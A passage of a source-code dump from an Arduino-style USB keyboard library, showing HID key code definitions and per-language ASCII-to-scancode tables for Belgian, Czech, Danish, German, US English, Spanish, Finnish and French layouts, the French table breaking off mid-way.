//#define kbd_en_us

#include "HID.h"

#if !defined(_USING_HID)

#warning "Using legacy HID core (non pluggable)"

#else

//================================================================================
//================================================================================
//  Keyboard

#define KEY_LEFT_CTRL   0x80
#define KEY_LEFT_SHIFT  0x81
#define KEY_LEFT_ALT    0x82
#define KEY_LEFT_GUI    0x83
#define KEY_RIGHT_CTRL  0x84
#define KEY_RIGHT_SHIFT 0x85
#define KEY_RIGHT_ALT   0x86
#define KEY_RIGHT_GUI   0x87

#define KEY_UP_ARROW     0xDA
#define KEY_DOWN_ARROW   0xD9
#define KEY_LEFT_ARROW   0xD8
#define KEY_RIGHT_ARROW  0xD7
#define KEY_MENU         0xFE
#define KEY_SPACE        0x20
#define KEY_BACKSPACE    0xB2
#define KEY_TAB          0xB3
#define KEY_RETURN       0xB0
#define KEY_ESC          0xB1
#define KEY_INSERT       0xD1
#define KEY_DELETE       0xD4
#define KEY_HOME         0xD2
#define KEY_END          0xD5
#define KEY_F1           0xC2
#define KEY_F2           0xC3
#define KEY_F3           0xC4
#define KEY_F4           0xC5
#define KEY_F5           0xC6
#define KEY_F6           0xC7
#define KEY_F7           0xC8
#define KEY_F8           0xC9
#define KEY_F9           0xCA
#define KEY_F10          0xCB
#define KEY_F11          0xCC
#define KEY_F12          0xCD
#define KEY_F13          0xF0
#define KEY_F14          0xF1
#define KEY_F15          0xF2
#define KEY_F16          0xF3
#define KEY_F17          0xF4
#define KEY_F18          0xF5
#define KEY_F19          0xF6
#define KEY_F20          0xF7
#define KEY_F21          0xF8
#define KEY_F22          0xF9
#define KEY_F23          0xFA
#define KEY_F24          0xFB
#define KEY_PRINT_SCREEN 0xCE
#define KEY_PAUSE        0xD0


//  Low level key report: up to 6 keys and shift, ctrl etc at once
typedef struct
{
  uint8_t modifiers;
  uint8_t reserved;
  uint8_t keys[6];
} KeyReport;

class Keyboard_ : public Print
{
private:
  KeyReport _keyReport;
  void sendReport(KeyReport* keys);
public:
  Keyboard_(void);
  void begin(void);
  void end(void);
  size_t write(uint8_t k);
  size_t press(uint8_t k);
  size_t release(uint8_t k);
  size_t rawpress(uint8_t k, uint8_t rawmodifiers);
  size_t rawrelease(uint8_t k, uint8_t rawmodifiers);
  void releaseAll(void);
};
extern Keyboard_ Keyboard;

#endif
#endif


================================================
FILE: libraries/Keyboard/src/be_be.h
================================================
#ifndef _kbd_lang
#define _kbd_lang

extern
const uint8_t _asciimap[256] PROGMEM;

#define SHIFT 0x80
const uint8_t _asciimap[256] =
{
   0x00,             // NUL
   0x00,             // SOH
   0x00,             // STX
   0x00,             // ETX
   0x00,             // EOT
   0x00,             // ENQ
   0x00,             // ACK
   0x00,             // BEL
   0x2a,      // BS  Backspace
   0x2b,      // TAB  Tab
   0x28,      // LF  Enter
   0x00,             // VT
   0x00,             // FF
   0x00,             // CR
   0x00,             // SO
   0x00,             // SI
   0x00,             // DEL
   0x00,             // DC1
   0x00,             // DC2
   0x00,             // DC3
   0x00,             // DC4
   0x00,             // NAK
   0x00,             // SYN
   0x00,             // ETB
   0x00,             // CAN
   0x00,             // EM
   0x00,             // SUB
   0x00,             // ESC
   0x00,             // FS
   0x00,             // GS
   0x00,             // RS
   0x00,             // US
   0x2c,       //  ' '
   0x25,           // !
   0x20,          // "
   0x20,          // #
   0x30,          // $
   0x34|SHIFT,    // %
   0x1e,          // &
   0x21,          // '
   0x22,          // (
   0x2d,          // )
   0x30|SHIFT,          // *
   0x38|SHIFT,    // +
   0x10,          // ,
   0x2e,          // -
   0x36|SHIFT,    // .
   0x37|SHIFT,    // /
   0x27|SHIFT,    // 0
   0x1e|SHIFT,    // 1
   0x1f|SHIFT,    // 2
   0x20|SHIFT,    // 3
   0x21|SHIFT,    // 4
   0x22|SHIFT,    // 5
   0x23|SHIFT,    // 6
   0x24|SHIFT,    // 7
   0x25|SHIFT,    // 8
   0x26|SHIFT,    // 9
   0x37,            // :
   0x36,          // ;
   0x64,            // <
   0x38,          // =
   0x64|SHIFT,      // >
   0x10|SHIFT,      // ?
   0x27,            // @
   0x14|SHIFT,      // A
   0x05|SHIFT,      // B
   0x06|SHIFT,      // C
   0x07|SHIFT,      // D
   0x08|SHIFT,      // E
   0x09|SHIFT,      // F
   0x0a|SHIFT,      // G
   0x0b|SHIFT,      // H
   0x0c|SHIFT,      // I
   0x0d|SHIFT,      // J
   0x0e|SHIFT,      // K
   0x0f|SHIFT,      // L
   0x33|SHIFT,      // M
   0x11|SHIFT,      // N
   0x12|SHIFT,      // O
   0x13|SHIFT,      // P
   0x04|SHIFT,      // Q
   0x15|SHIFT,      // R
   0x16|SHIFT,      // S
   0x17|SHIFT,      // T
   0x18|SHIFT,      // U
   0x19|SHIFT,      // V
   0x1d|SHIFT,      // W
   0x1b|SHIFT,      // X
   0x1c|SHIFT,      // Y
   0x1a|SHIFT,      // Z
   0x22,          // [
   0x64,          // bslash
   0x30,          // ]
   0x22,          // ^
   0x2e|SHIFT,          // _
   0x24,          // `
   0x14,          // a
   0x05,          // b
   0x06,          // c
   0x07,          // d
   0x08,          // e
   0x09,          // f
   0x0a,          // g
   0x0b,          // h
   0x0c,          // i
   0x0d,          // j
   0x0e,          // k
   0x0f,          // l
   0x33,          // m
   0x11,          // n
   0x12,          // o
   0x13,          // p
   0x04,          // q
   0x15,          // r
   0x16,          // s
   0x17,          // t
   0x18,          // u
   0x19,          // v
   0x1d,          // w
   0x1b,          // x
   0x1c,          // y
   0x1a,          // z
   0x21,    // {
   0x1e,    // |
   0x27,    // }
   0x38,    // ~
   0        // DEL
};
#endif


================================================
FILE: libraries/Keyboard/src/cz_cz.h
================================================
#ifndef _kbd_lang
#define _kbd_lang

extern
const uint8_t _asciimap[256] PROGMEM;

#define SHIFT 0x80
const uint8_t _asciimap[256] =
{
	0x00,             // NUL
	0x00,             // SOH
	0x00,             // STX
	0x00,             // ETX
	0x00,             // EOT
	0x00,             // ENQ
	0x00,             // ACK  
	0x00,             // BEL
	0x2a,			// BS	Backspace
	0x2b,			// TAB	Tab
	0x28,			// LF	Enter
	0x00,             // VT 
	0x00,             // FF 
	0x00,             // CR 
	0x00,             // SO 
	0x00,             // SI 
	0x00,             // DEL
	0x00,             // DC1
	0x00,             // DC2
	0x00,             // DC3
	0x00,             // DC4
	0x00,             // NAK
	0x00,             // SYN
	0x00,             // ETB
	0x00,             // CAN
	0x00,             // EM 
	0x00,             // SUB
	0x00,             // ESC
	0x00,             // FS 
	0x00,             // GS 
	0x00,             // RS 
	0x00,             // US 

	0x2c,		   //  ' '
	0x34|SHIFT,	   // !
	0x33|SHIFT,	   // "
	0x1b,    // #
	0x33,    // $
	0x2d|SHIFT,    // %
	0x06,    // &
	0x31|SHIFT,          // '
	0x30|SHIFT,    // (
	0x30,    // )
	0x38,    // *
    0x1e,    // +
	0x36,          // ,
	0x38,          // -
	0x37,          // .
	0x2f|SHIFT,          // /
	0x27|SHIFT,          // 0
	0x1e|SHIFT,          // 1
	0x1f|SHIFT,          // 2
	0x20|SHIFT,          // 3
	0x21|SHIFT,          // 4
	0x22|SHIFT,          // 5
	0x23|SHIFT,          // 6
	0x24|SHIFT,          // 7
	0x25|SHIFT,          // 8
	0x26|SHIFT,          // 9
	0x37|SHIFT,      // :
	0x35,          // ;
	0x36,      // <
	0x2d,          // =
	0x37,      // >
	0x36|SHIFT,      // ?
	0x19,      // @
	0x04|SHIFT,      // A
	0x05|SHIFT,      // B
	0x06|SHIFT,      // C
	0x07|SHIFT,      // D
	0x08|SHIFT,      // E
	0x09|SHIFT,      // F
	0x0a|SHIFT,      // G
	0x0b|SHIFT,      // H
	0x0c|SHIFT,      // I
	0x0d|SHIFT,      // J
	0x0e|SHIFT,      // K
	0x0f|SHIFT,      // L
	0x10|SHIFT,      // M
	0x11|SHIFT,      // N
	0x12|SHIFT,      // O
	0x13|SHIFT,      // P
	0x14|SHIFT,      // Q
	0x15|SHIFT,      // R
	0x16|SHIFT,      // S
	0x17|SHIFT,      // T
	0x18|SHIFT,      // U
	0x19|SHIFT,      // V
	0x1a|SHIFT,      // W
	0x1b|SHIFT,      // X
	0x1d|SHIFT,      // Y
	0x1c|SHIFT,      // Z
	0x09,          // [
	0x14,          // bslash
	0x0a,          // ]
	0x23|SHIFT,    // ^
	0x38|SHIFT,    // _
	0x35,          // `
	0x04,          // a
	0x05,          // b
	0x06,          // c
	0x07,          // d
	0x08,          // e
	0x09,          // f
	0x0a,          // g
	0x0b,          // h
	0x0c,          // i
	0x0d,          // j
	0x0e,          // k
	0x0f,          // l
	0x10,          // m
	0x11,          // n
	0x12,          // o
	0x13,          // p
	0x14,          // q
	0x15,          // r
	0x16,          // s
	0x17,          // t
	0x18,          // u
	0x19,          // v
	0x1a,          // w
	0x1b,          // x
	0x1d,          // y
	0x1c,         // z
	0x05,    // {
	0x1a,    // |
	0x11,    // }
	0x1e,    // ~
	0				// DEL
};
#endif


================================================
FILE: libraries/Keyboard/src/da_dk.h
================================================
#ifndef _kbd_lang
#define _kbd_lang

extern
const uint8_t _asciimap[256] PROGMEM;

#define SHIFT 0x80
const uint8_t _asciimap[256] =
{
  0x00,             // NUL
  0x00,             // SOH
  0x00,             // STX
  0x00,             // ETX
  0x00,             // EOT
  0x00,             // ENQ
  0x00,             // ACK
  0x00,             // BEL
  0x2a,      // BS  Backspace
  0x2b,      // TAB  Tab
  0x28,      // LF  Enter
  0x00,             // VT
  0x00,             // FF
  0x00,             // CR
  0x00,             // SO
  0x00,             // SI
  0x00,             // DEL
  0x00,             // DC1
  0x00,             // DC2
  0x00,             // DC3
  0x00,             // DC4
  0x00,             // NAK
  0x00,             // SYN
  0x00,             // ETB
  0x00,             // CAN
  0x00,             // EM
  0x00,             // SUB
  0x00,             // ESC
  0x00,             // FS
  0x00,             // GS
  0x00,             // RS
  0x00,             // US

  0x2c,       //  ' '
  0x1e|SHIFT,     // !
  0x1f|SHIFT,     // "
  0x20|SHIFT,    // #
  0x21,          // $
  0x22|SHIFT,    // %
  0x23|SHIFT,    // &
  0x31,          // '
  0x25|SHIFT,    // (
  0x26|SHIFT,    // )
  0x31|SHIFT,    // *
  0x2d,          // +
  0x36,          // ,
  0x38,          // -
  0x37,          // .
  0x24|SHIFT,    // /
  0x27,          // 0
  0x1e,          // 1
  0x1f,          // 2
  0x20,          // 3
  0x21,          // 4
  0x22,          // 5
  0x23,          // 6
  0x24,          // 7
  0x25,          // 8
  0x26,          // 9
  0x37|SHIFT,    // :
  0x36|SHIFT,    // ;
  0x64,          // <
  0x27|SHIFT,      // =
  0x64|SHIFT,      // >
  0x2d|SHIFT,      // ?
  0x1f,            // @
  0x04|SHIFT,      // A
  0x05|SHIFT,      // B
  0x06|SHIFT,      // C
  0x07|SHIFT,      // D
  0x08|SHIFT,      // E
  0x09|SHIFT,      // F
  0x0a|SHIFT,      // G
  0x0b|SHIFT,      // H
  0x0c|SHIFT,      // I
  0x0d|SHIFT,      // J
  0x0e|SHIFT,      // K
  0x0f|SHIFT,      // L
  0x10|SHIFT,      // M
  0x11|SHIFT,      // N
  0x12|SHIFT,      // O
  0x13|SHIFT,      // P
  0x14|SHIFT,      // Q
  0x15|SHIFT,      // R
  0x16|SHIFT,      // S
  0x17|SHIFT,      // T
  0x18|SHIFT,      // U
  0x19|SHIFT,      // V
  0x1a|SHIFT,      // W
  0x1b|SHIFT,      // X
  0x1c|SHIFT,      // Y
  0x1d|SHIFT,      // Z
  0x25,          // [
  0x64,          // bslash
  0x26,          // ]
  0x30|SHIFT,    // ^
  0x38|SHIFT,    // _
  0x2e|SHIFT,    // `
  0x04,          // a
  0x05,          // b
  0x06,          // c
  0x07,          // d
  0x08,          // e
  0x09,          // f
  0x0a,          // g
  0x0b,          // h
  0x0c,          // i
  0x0d,          // j
  0x0e,          // k
  0x0f,          // l
  0x10,          // m
  0x11,          // n
  0x12,          // o
  0x13,          // p
  0x14,          // q
  0x15,          // r
  0x16,          // s
  0x17,          // t
  0x18,          // u
  0x19,          // v
  0x1a,          // w
  0x1b,          // x
  0x1c,          // y
  0x1d,          // z
  0x24,          // {
  0x2e,          // |
  0x27,          // }
  0x30,          // ~
  0        // DEL
};
#endif


================================================
FILE: libraries/Keyboard/src/de_de.h
================================================
#ifndef _kbd_lang
#define _kbd_lang

extern
const uint8_t _asciimap[256] PROGMEM;

#define SHIFT 0x80
const uint8_t _asciimap[256] =
{
  0x00,             // NUL          0
  0x00,             // SOH
  0x00,             // STX
  0x00,             // ETX
  0x00,             // EOT
  0x00,             // ENQ
  0x00,             // ACK
  0x00,             // BEL
  0x2a,      // BS  Backspace
  0x2b,      // TAB  Tab
  0x28,      // LF  Enter           10
  0x00,             // VT
  0x00,             // FF
  0x00,             // CR
  0x00,             // SO
  0x00,             // SI
  0x00,             // DEL
  0x00,             // DC1
  0x00,             // DC2
  0x00,             // DC3
  0x00,             // DC4          20
  0x00,             // NAK
  0x00,             // SYN
  0x00,             // ETB
  0x00,             // CAN
  0x00,             // EM
  0x00,             // SUB
  0x00,             // ESC
  0x00,             // FS
  0x00,             // GS
  0x00,             // RS           30
  0x00,             // US

  0x2c,          //  ' '
  0x1e|SHIFT,    // !
  0x1f|SHIFT,    // "
  0x31,          // #
  0x21|SHIFT,    // $
  0x22|SHIFT,    // %
  0x23|SHIFT,    // &
  0x31|SHIFT,    // '
  0x25|SHIFT,    // (               40
  0x26|SHIFT,    // )
  0x30|SHIFT,    // *
  0x30,          // +
  0x36,          // ,
  0x38,          // -
  0x37,          // .
  0x24|SHIFT,    // /
  0x27,          // 0
  0x1e,          // 1
  0x1f,          // 2               50
  0x20,          // 3
  0x21,          // 4
  0x22,          // 5
  0x23,          // 6
  0x24,          // 7
  0x25,          // 8
  0x26,          // 9
  0x37|SHIFT,      // :
  0x36|SHIFT,      // ;
  0x64,            // <             60
  0x27|SHIFT,      // =
  0x64|SHIFT,      // > 
  0x2d|SHIFT,      // ?
  0x14,            // @
  0x04|SHIFT,      // A
  0x05|SHIFT,      // B
  0x06|SHIFT,      // C
  0x07|SHIFT,      // D
  0x08|SHIFT,      // E
  0x09|SHIFT,      // F             70
  0x0a|SHIFT,      // G
  0x0b|SHIFT,      // H
  0x0c|SHIFT,      // I
  0x0d|SHIFT,      // J
  0x0e|SHIFT,      // K
  0x0f|SHIFT,      // L
  0x10|SHIFT,      // M
  0x11|SHIFT,      // N
  0x12|SHIFT,      // O
  0x13|SHIFT,      // P             80
  0x14|SHIFT,      // Q
  0x15|SHIFT,      // R
  0x16|SHIFT,      // S
  0x17|SHIFT,      // T
  0x18|SHIFT,      // U
  0x19|SHIFT,      // V
  0x1a|SHIFT,      // W
  0x1b|SHIFT,      // X
  0x1d|SHIFT,      // Y
  0x1c|SHIFT,      // Z             90
  0x25,          // [
  0x2d,          // bslash
  0x26,          // ]
  0x35,          // ^
  0x38|SHIFT,    // _
  0x2e|SHIFT,    // `
  0x04,          // a
  0x05,          // b
  0x06,          // c
  0x07,          // d               100
  0x08,          // e
  0x09,          // f
  0x0a,          // g
  0x0b,          // h
  0x0c,          // i
  0x0d,          // j
  0x0e,          // k
  0x0f,          // l
  0x10,          // m
  0x11,          // n               110
  0x12,          // o
  0x13,          // p
  0x14,          // q
  0x15,          // r
  0x16,          // s
  0x17,          // t
  0x18,          // u
  0x19,          // v
  0x1a,          // w
  0x1b,          // x               120
  0x1d,          // y
  0x1c,          // z
  0x24,          // {
  0x64,          // |
  0x27,          // }
  0x30,    // ~
  0        // DEL                   127
};
#endif


================================================
FILE: libraries/Keyboard/src/en_us.h
================================================
#ifndef _kbd_lang
#define _kbd_lang

extern
const uint8_t _asciimap[256] PROGMEM;

#define SHIFT 0x80
const uint8_t _asciimap[256] =
{
  0x00,             // NUL
  0x00,             // SOH
  0x00,             // STX
  0x00,             // ETX
  0x00,             // EOT
  0x00,             // ENQ
  0x00,             // ACK
  0x00,             // BEL
  0x2a,      // BS  Backspace
  0x2b,      // TAB  Tab
  0x28,      // LF  Enter
  0x00,             // VT
  0x00,             // FF
  0x00,             // CR
  0x00,             // SO
  0x00,             // SI
  0x00,             // DEL
  0x00,             // DC1
  0x00,             // DC2
  0x00,             // DC3
  0x00,             // DC4
  0x00,             // NAK
  0x00,             // SYN
  0x00,             // ETB
  0x00,             // CAN
  0x00,             // EM
  0x00,             // SUB
  0x00,             // ESC
  0x00,             // FS
  0x00,             // GS
  0x00,             // RS
  0x00,             // US

  0x2c,       //  ' '
  0x1e|SHIFT,     // !
  0x34|SHIFT,     // "
  0x20|SHIFT,    // #
  0x21|SHIFT,    // $
  0x22|SHIFT,    // %
  0x24|SHIFT,    // &
  0x34,          // '
  0x26|SHIFT,    // (
  0x27|SHIFT,    // )
  0x25|SHIFT,    // *
  0x2e|SHIFT,    // +
  0x36,          // ,
  0x2d,          // -
  0x37,          // .
  0x38,          // /
  0x27,          // 0
  0x1e,          // 1
  0x1f,          // 2
  0x20,          // 3
  0x21,          // 4
  0x22,          // 5
  0x23,          // 6
  0x24,          // 7
  0x25,          // 8
  0x26,          // 9
  0x33|SHIFT,      // :
  0x33,          // ;
  0x36|SHIFT,      // <
  0x2e,          // =
  0x37|SHIFT,      // >
  0x38|SHIFT,      // ?
  0x1f|SHIFT,      // @
  0x04|SHIFT,      // A
  0x05|SHIFT,      // B
  0x06|SHIFT,      // C
  0x07|SHIFT,      // D
  0x08|SHIFT,      // E
  0x09|SHIFT,      // F
  0x0a|SHIFT,      // G
  0x0b|SHIFT,      // H
  0x0c|SHIFT,      // I
  0x0d|SHIFT,      // J
  0x0e|SHIFT,      // K
  0x0f|SHIFT,      // L
  0x10|SHIFT,      // M
  0x11|SHIFT,      // N
  0x12|SHIFT,      // O
  0x13|SHIFT,      // P
  0x14|SHIFT,      // Q
  0x15|SHIFT,      // R
  0x16|SHIFT,      // S
  0x17|SHIFT,      // T
  0x18|SHIFT,      // U
  0x19|SHIFT,      // V
  0x1a|SHIFT,      // W
  0x1b|SHIFT,      // X
  0x1c|SHIFT,      // Y
  0x1d|SHIFT,      // Z
  0x2f,          // [
  0x31,          // bslash
  0x30,          // ]
  0x23|SHIFT,    // ^
  0x2d|SHIFT,    // _
  0x35,          // `
  0x04,          // a
  0x05,          // b
  0x06,          // c
  0x07,          // d
  0x08,          // e
  0x09,          // f
  0x0a,          // g
  0x0b,          // h
  0x0c,          // i
  0x0d,          // j
  0x0e,          // k
  0x0f,          // l
  0x10,          // m
  0x11,          // n
  0x12,          // o
  0x13,          // p
  0x14,          // q
  0x15,          // r
  0x16,          // s
  0x17,          // t
  0x18,          // u
  0x19,          // v
  0x1a,          // w
  0x1b,          // x
  0x1c,          // y
  0x1d,          // z
  0x2f|SHIFT,    // {
  0x31|SHIFT,    // |
  0x30|SHIFT,    // }
  0x35|SHIFT,    // ~
  0        // DEL
};
#endif


================================================
FILE: libraries/Keyboard/src/es_es.h
================================================
#ifndef _kbd_lang
#define _kbd_lang

extern
const uint8_t _asciimap[256] PROGMEM;


#define SHIFT 0x80
#define ALTGR 0x40
const uint8_t _asciimap[256] =
{
  0x00,             // NUL
  0x00,             // SOH
  0x00,             // STX
  0x00,             // ETX
  0x00,             // EOT
  0x00,             // ENQ
  0x00,             // ACK
  0x00,             // BEL
  0x2a,      // BS  Backspace
  0x2b,      // TAB  Tab
  0x28,      // LF  Enter
  0x00,             // VT
  0x00,             // FF
  0x00,             // CR
  0x00,             // SO
  0x00,             // SI
  0x00,             // DEL
  0x00,             // DC1
  0x00,             // DC2
  0x00,             // DC3
  0x00,             // DC4
  0x00,             // NAK
  0x00,             // SYN
  0x00,             // ETB
  0x00,             // CAN
  0x00,             // EM
  0x00,             // SUB
  0x00,             // ESC
  0x00,             // FS
  0x00,             // GS
  0x00,             // RS
  0x00,             // US
  0x2c,          //  ' ' (space)
  0x1e|SHIFT,    // !
  0x1f|SHIFT,    // "
  0x20|ALTGR,    // #
  0x21|SHIFT,    // $
  0x22|SHIFT,    // %
  0x23|SHIFT,    // &
  0x2d,          // '
  0x25|SHIFT,    // (
  0x26|SHIFT,    // )
  0x30|SHIFT,    // *
  0x30,          // +
  0x36,          // ,
  0x38,          // -
  0x37,          // .
  0x24|SHIFT,    // /
  0x27,          // 0
  0x1e,          // 1
  0x1f,          // 2
  0x20,          // 3
  0x21,          // 4
  0x22,          // 5
  0x23,          // 6
  0x24,          // 7
  0x25,          // 8
  0x26,          // 9
  0x37|SHIFT,      // :
  0x36|SHIFT,      // ;
  0x03,            // < //KEY_NON_US_100
  0x27|SHIFT,      // =
  0x03|SHIFT,      // > //KEY_NON_US_100 + SHIFT
  0x2d|SHIFT,      // ?
  0x1f|ALTGR,      // @
  0x04|SHIFT,      // A
  0x05|SHIFT,      // B
  0x06|SHIFT,      // C
  0x07|SHIFT,      // D
  0x08|SHIFT,      // E
  0x09|SHIFT,      // F
  0x0a|SHIFT,      // G
  0x0b|SHIFT,      // H
  0x0c|SHIFT,      // I
  0x0d|SHIFT,      // J
  0x0e|SHIFT,      // K
  0x0f|SHIFT,      // L
  0x10|SHIFT,      // M
  0x11|SHIFT,      // N
  0x12|SHIFT,      // O
  0x13|SHIFT,      // P
  0x14|SHIFT,      // Q
  0x15|SHIFT,      // R
  0x16|SHIFT,      // S
  0x17|SHIFT,      // T
  0x18|SHIFT,      // U
  0x19|SHIFT,      // V
  0x1a|SHIFT,      // W
  0x1b|SHIFT,      // X
  0x1c|SHIFT,      // Y
  0x1d|SHIFT,      // Z
  0x2f|ALTGR,      // [
  0x35|ALTGR,      // bslash
  0x30|ALTGR,      // ]
  0x2f|SHIFT,    // ^
  0x38|SHIFT,    // _
  0x2f, 	 // `
  0x04,          // a
  0x05,          // b
  0x06,          // c
  0x07,          // d
  0x08,          // e
  0x09,          // f
  0x0a,          // g
  0x0b,          // h
  0x0c,          // i
  0x0d,          // j
  0x0e,          // k
  0x0f,          // l
  0x10,          // m
  0x11,          // n
  0x12,          // o
  0x13,          // p
  0x14,          // q
  0x15,          // r
  0x16,          // s
  0x17,          // t
  0x18,          // u
  0x19,          // v
  0x1a,          // w
  0x1b,          // x
  0x1c,          // y
  0x1d,          // z
  0x34|ALTGR,    // {
  0x1e|ALTGR,    // |
  0x32|ALTGR,    // }
  0x21|ALTGR,    // ~
  0x00,        // DEL
  0x00,             // Ç Start extended ASCII
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,             // ç
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x33,             // ñ
  0x33|SHIFT,       // Ñ
  0x00,
  0x00,
  0x2e|SHIFT,       // ¿
  0x00,
  0x00,
  0x00,
  0x00,
  0x2e,             // ¡
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
};
#endif


================================================
FILE: libraries/Keyboard/src/fi_fi.h
================================================
#ifndef _kbd_lang
#define _kbd_lang

extern
const uint8_t _asciimap[256] PROGMEM;

#define SHIFT 0x80
const uint8_t _asciimap[256] =
{
  0x00,             // NUL
  0x00,             // SOH
  0x00,             // STX
  0x00,             // ETX
  0x00,             // EOT
  0x00,             // ENQ
  0x00,             // ACK
  0x00,             // BEL
  0x2a,      // BS  Backspace
  0x2b,      // TAB  Tab
  0x28,      // LF  Enter
  0x00,             // VT
  0x00,             // FF
  0x00,             // CR
  0x00,             // SO
  0x00,             // SI
  0x00,             // DEL
  0x00,             // DC1
  0x00,             // DC2
  0x00,             // DC3
  0x00,             // DC4
  0x00,             // NAK
  0x00,             // SYN
  0x00,             // ETB
  0x00,             // CAN
  0x00,             // EM
  0x00,             // SUB
  0x00,             // ESC
  0x00,             // FS
  0x00,             // GS
  0x00,             // RS
  0x00,             // US

  0x2c,          //  ' '
  0x1e|SHIFT,    // !
  0x1f|SHIFT,    // "
  0x20|SHIFT,    // #
  0x21,          // $
  0x22|SHIFT,    // %
  0x23|SHIFT,    // &
  0x31,          // '
  0x25|SHIFT,    // (
  0x26|SHIFT,    // )
  0x31|SHIFT,    // *
  0x2d,          // +
  0x36,          // ,
  0x38,          // -
  0x37,          // .
  0x24|SHIFT,    // /
  0x27,          // 0
  0x1e,          // 1
  0x1f,          // 2
  0x20,          // 3
  0x21,          // 4
  0x22,          // 5
  0x23,          // 6
  0x24,          // 7
  0x25,          // 8
  0x26,          // 9
  0x37|SHIFT,      // :
  0x36|SHIFT,      // ;
  0x64,            // <
  0x27|SHIFT,      // =
  0x64|SHIFT,      // >
  0x2d|SHIFT,      // ?
  0x1f,            // @
  0x04|SHIFT,      // A
  0x05|SHIFT,      // B
  0x06|SHIFT,      // C
  0x07|SHIFT,      // D
  0x08|SHIFT,      // E
  0x09|SHIFT,      // F
  0x0a|SHIFT,      // G
  0x0b|SHIFT,      // H
  0x0c|SHIFT,      // I
  0x0d|SHIFT,      // J
  0x0e|SHIFT,      // K
  0x0f|SHIFT,      // L
  0x10|SHIFT,      // M
  0x11|SHIFT,      // N
  0x12|SHIFT,      // O
  0x13|SHIFT,      // P
  0x14|SHIFT,      // Q
  0x15|SHIFT,      // R
  0x16|SHIFT,      // S
  0x17|SHIFT,      // T
  0x18|SHIFT,      // U
  0x19|SHIFT,      // V
  0x1a|SHIFT,      // W
  0x1b|SHIFT,      // X
  0x1c|SHIFT,      // Y
  0x1d|SHIFT,      // Z
  0x25,          // [
  0x2d,          // bslash
  0x26,          // ]
  0x23,          // ^
  0x38|SHIFT,    // _
  0x2d|SHIFT,    // `
  0x04,          // a
  0x05,          // b
  0x06,          // c
  0x07,          // d
  0x08,          // e
  0x09,          // f
  0x0a,          // g
  0x0b,          // h
  0x0c,          // i
  0x0d,          // j
  0x0e,          // k
  0x0f,          // l
  0x10,          // m
  0x11,          // n
  0x12,          // o
  0x13,          // p
  0x14,          // q
  0x15,          // r
  0x16,          // s
  0x17,          // t
  0x18,          // u
  0x19,          // v
  0x1a,          // w
  0x1b,          // x
  0x1c,          // y
  0x1d,          // z
  0x24,          // {
  0x36,          // |
  0x27,          // }
  0x2d,          // ~
  0              // DEL
};
#endif


================================================
FILE: libraries/Keyboard/src/fr_fr.h
================================================
#ifndef _kbd_lang
#define _kbd_lang

extern
const uint8_t _asciimap[256] PROGMEM;

#define SHIFT 0x80
const uint8_t _asciimap[256] =
{
   0x00,             // NUL
   0x00,             // SOH
   0x00,             // STX
   0x00,             // ETX
   0x00,             // EOT
   0x00,             // ENQ
   0x00,             // ACK
   0x00,             // BEL
   0x2a,      // BS  Backspace
   0x2b,      // TAB  Tab
   0x28,      // LF  Enter
   0x00,             // VT
   0x00,             // FF
   0x00,             // CR
   0x00,             // SO
   0x00,             // SI
   0x00,             // DEL
   0x00,             // DC1
   0x00,             // DC2
   0x00,             // DC3
   0x00,             // DC4
   0x00,             // NAK
   0x00,             // SYN
   0x00,             // ETB
   0x00,             // CAN
   0x00,             // EM
   0x00,             // SUB
   0x00,             // ESC
   0x00,             // FS
   0x00,             // GS
   0x00,             // RS
   0x00,             // US

   0x2c,       //  ' '
   0x38,           // !
   0x20,          // "
   0x20,          // #
   0x30,          // $
   0x34|SHIFT,    // %
   0x1e,          // &
   0x21,          // '
   0x22,          // (
   0x2d,          // )
   0x31,          // *
   0x2e|SHIFT,    // +
   0x10,          // ,
   0x23,          // -
   0x36|SHIFT,    // .
   0x37|SHIFT,    // /
   0x27|SHIFT,    // 0
   0x1e|SHIFT,    // 1
   0x1f|SHIFT,    // 2
   0x20|SHIFT,    // 3
   0x21|SHIFT,    // 4
   0x22|SHIFT,    // 5
   0x23|SHIFT,    // 6
   0x24|SHIFT,    // 7
   0x25|SHIFT,    // 8
   0x26|SHIFT,    // 9
   0x37,            // :
   0x36,          // ;
   0x64,            // <
   0x2e,          // =
   0x64|SHIFT,      // >
   0x10|SHIFT,      // ?
   0x27,            // @
   0x14|SHIFT,      // A
   0x05|SHIFT,      // B
   0x06|SHIFT,      // C
   0x07|SHIFT,      // D
   0x08|SHIFT,      // E
   0x09|SHIFT,      // F
   0x0a|SHIFT,      // G
   0x0b|SHIFT,      // H
   0x0c|SHIFT,      // I
   0x0d|SHIFT,      // J
   0x0e|SHIFT,      // K
   0x0f|SHIFT,      // L
   0x33|SHIFT,      // M
   0x11|SHIFT,      // N
   0x12|SHIFT,      // O
   0x13|SHIFT,      // P
   0x04|SHIFT,      // Q
   0x15|SHIFT,      // R
   0x16|SHIFT,      // S
   0x17|SHIFT,      // T
   0x18|SHIFT,      // U
   0x19|SHIFT,      // V
   0x1d|SHIFT,      // W
   0x1b|SHIFT,      // X
   0x1c|SHIFT,      // Y
   0x1a|SHIFT,      // Z
   0x22,          // [
   0x25,          // bslash
   0x2d,          // ]
   0x26,          // ^
   0x25,          // _
